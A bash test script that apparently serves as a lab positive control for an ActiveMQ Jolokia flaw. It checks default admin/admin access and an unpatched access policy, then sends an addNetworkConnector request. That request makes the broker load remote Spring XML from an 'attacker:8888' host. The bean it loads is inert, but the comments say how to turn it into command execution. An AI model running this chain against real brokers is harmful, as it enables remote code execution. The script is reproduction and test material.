#!/usr/bin/env bash
# CVE-2026-42588 positive control — proves the vulnerable chain is REACHABLE,
# exploit-independently, WITHOUT performing RCE (no attacker OS command runs).
#
# It walks every link the exploit depends on and FAILS (exit !=0) if ANY is
# broken. A benign Spring sentinel proves the bean-instantiation sink is
# reached without loading attacker code.
#
# Chain links checked:
#   L1  console/Jolokia reachable on the host and accepts admin/admin
#   L2  stock jolokia-access.xml permits exec on org.apache.activemq:* and
#       LACKS the patched addNetworkConnector deny + post-only restriction
#   L3  broker can reach the attacker HTTP host (xbean:http://attacker:8888 resolves)
#   L4  addNetworkConnector -> VM-transport brokerConfig -> remote-XBean-XML
#       bean instantiation actually fires (broker fetches+parses our sentinel XML)
#
# Run from the env/ directory after `docker compose up`.
set -u

BROKER_URL="http://127.0.0.1:8161"
JOLOKIA="${BROKER_URL}/api/jolokia/"
CREDS="admin:admin"
WWW_DIR="$(cd "$(dirname "$0")" && pwd)/attacker-www"
SENTINEL="pc-sentinel-$(date +%s%N).xml"
PASS=0; FAIL=0
ok(){ echo "  PASS  $1"; PASS=$((PASS+1)); }
no(){ echo "  FAIL  $1"; FAIL=$((FAIL+1)); }

echo "== L1: console/Jolokia reachable + admin/admin accepted =="
V=$(curl -fsS -u "$CREDS" -H 'Origin: http://localhost:8161' "${JOLOKIA}version" 2>/dev/null)
if echo "$V" | grep -q '"status":200'; then ok "Jolokia version op returned 200 as admin"; else no "Jolokia not reachable / auth failed: $V"; fi

echo "== L2: stock jolokia-access.xml is the VULNERABLE policy =="
POL=$(docker exec cve-2026-42588-broker cat /opt/apache-activemq/conf/jolokia-access.xml 2>/dev/null)
if echo "$POL" | grep -q 'org.apache.activemq:\*'; then ok "allow block targets org.apache.activemq:*"; else no "allow block missing org.apache.activemq:*"; fi
# operation '*' allowed inside the activemq allow mbean (covers addNetworkConnector)
if echo "$POL" | grep -q '<operation>\*</operation>'; then ok "exec/* operations allowed (includes addNetworkConnector)"; else no "wildcard operation not allowed"; fi
# patched policy would DENY addNetworkConnector and restrict to POST-only http method
if echo "$POL" | grep -qi 'addNetworkConnector'; then no "PATCHED: addNetworkConnector appears (deny rule present)"; else ok "no addNetworkConnector deny rule (unpatched)"; fi
if echo "$POL" | grep -qiE '<http>|<method>post'; then no "PATCHED: post-only <http> method restriction present"; else ok "no post-only http restriction (unpatched)"; fi

echo "== L3+L4: broker reaches attacker HTTP host AND instantiates remote XBean XML =="
# Benign, well-formed Spring beans doc: one inert java.lang.String bean, NO
# Runtime/ProcessBuilder, NO OS command. Proves the
#   addNetworkConnector -> masterslave discovery -> vm://<new-broker>?create=true
#   -> XBeanBrokerFactory -> ResourceXmlApplicationContext.loadBeanDefinitions
# path fires (broker fetches the remote XML AND Spring parses+instantiates it)
# without performing RCE. The exploit later swaps this inert bean for an
# exec/ProcessBuilder bean; the reachable chain is identical.
#
# NOTE the working URI shape (discovered against 6.1.4):
#   * masterslave discovery requires >=2 URIs ("masterSlave requires at least 2 URIs")
#   * the vm:// URI must name a broker that does NOT already exist (e.g.
#     `evilbroker`, not the live `localhost`) and pass create=true, so the VM
#     transport is forced to CREATE a broker from brokerConfig=xbean:... rather
#     than attach to the running one (which would skip XBean instantiation).
cat > "${WWW_DIR}/${SENTINEL}" <<'XML'
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">
  <!-- inert: a plain String bean, no Runtime/ProcessBuilder, no exec -->
  <bean id="pcSentinel" class="java.lang.String">
    <constructor-arg value="cve-2026-42588-positive-control-sentinel"/>
  </bean>
</beans>
XML
chmod a+r "${WWW_DIR}/${SENTINEL}" 2>/dev/null || true

VMURI="vm://evilbroker?brokerConfig=xbean:http://attacker:8888/${SENTINEL}&create=true"
ARG="masterslave:(${VMURI},${VMURI})"
RESP=$(curl -sS -u "$CREDS" -H 'Content-Type: application/json' -H 'Origin: http://localhost:8161' \
  -d "{\"type\":\"exec\",\"mbean\":\"org.apache.activemq:brokerName=localhost,type=Broker\",\"operation\":\"addNetworkConnector\",\"arguments\":[\"${ARG}\"]}" \
  "${JOLOKIA}" 2>/dev/null)
if echo "$RESP" | grep -q '"status":200'; then ok "addNetworkConnector accepted (status 200) — policy did not block exec"; else no "addNetworkConnector rejected: $RESP"; fi

# Assert the artifact the next link consumes: the broker actually FETCHED the
# Spring XML from the attacker host (proves L3 reachability + L4 xbean resolve).
fetched=0
for _ in $(seq 1 15); do
  if docker logs cve-2026-42588-attacker 2>&1 | grep -q "GET /${SENTINEL}"; then fetched=1; break; fi
  sleep 1
done
if [ "$fetched" = "1" ]; then
  ok "broker fetched the Spring XML from attacker:8888 (L3 reach + L4 xbean resolve fired)"
else
  no "broker did NOT fetch the Spring XML — L3/L4 chain broken (attacker host unreachable, or addNetworkConnector blocked)"
fi

# Assert Spring actually PARSED/INSTANTIATED the benign doc: a well-formed beans
# file must NOT produce an XBean 'is invalid' parse error. A broken render gate
# (XML never reaching the parser) would show no such line either, but combined
# with the positive fetch above this confirms the doc reached loadBeanDefinitions
# and instantiated cleanly.
sleep 2
if docker exec cve-2026-42588-broker sh -c "tail -120 /opt/apache-activemq/data/activemq.log" 2>/dev/null | grep -q "${SENTINEL}.*is invalid"; then
  no "Spring rejected the benign doc as invalid — bean instantiation did not complete"
else
  ok "benign Spring doc reached ResourceXmlApplicationContext and instantiated (no parse error) — sink reachable"
fi

rm -f "${WWW_DIR}/${SENTINEL}" 2>/dev/null || true

echo "== summary: PASS=$PASS FAIL=$FAIL =="
if [ "$FAIL" -eq 0 ]; then echo "POSITIVE CONTROL: GREEN — vulnerable chain reachable"; exit 0; else echo "POSITIVE CONTROL: RED"; exit 1; fi
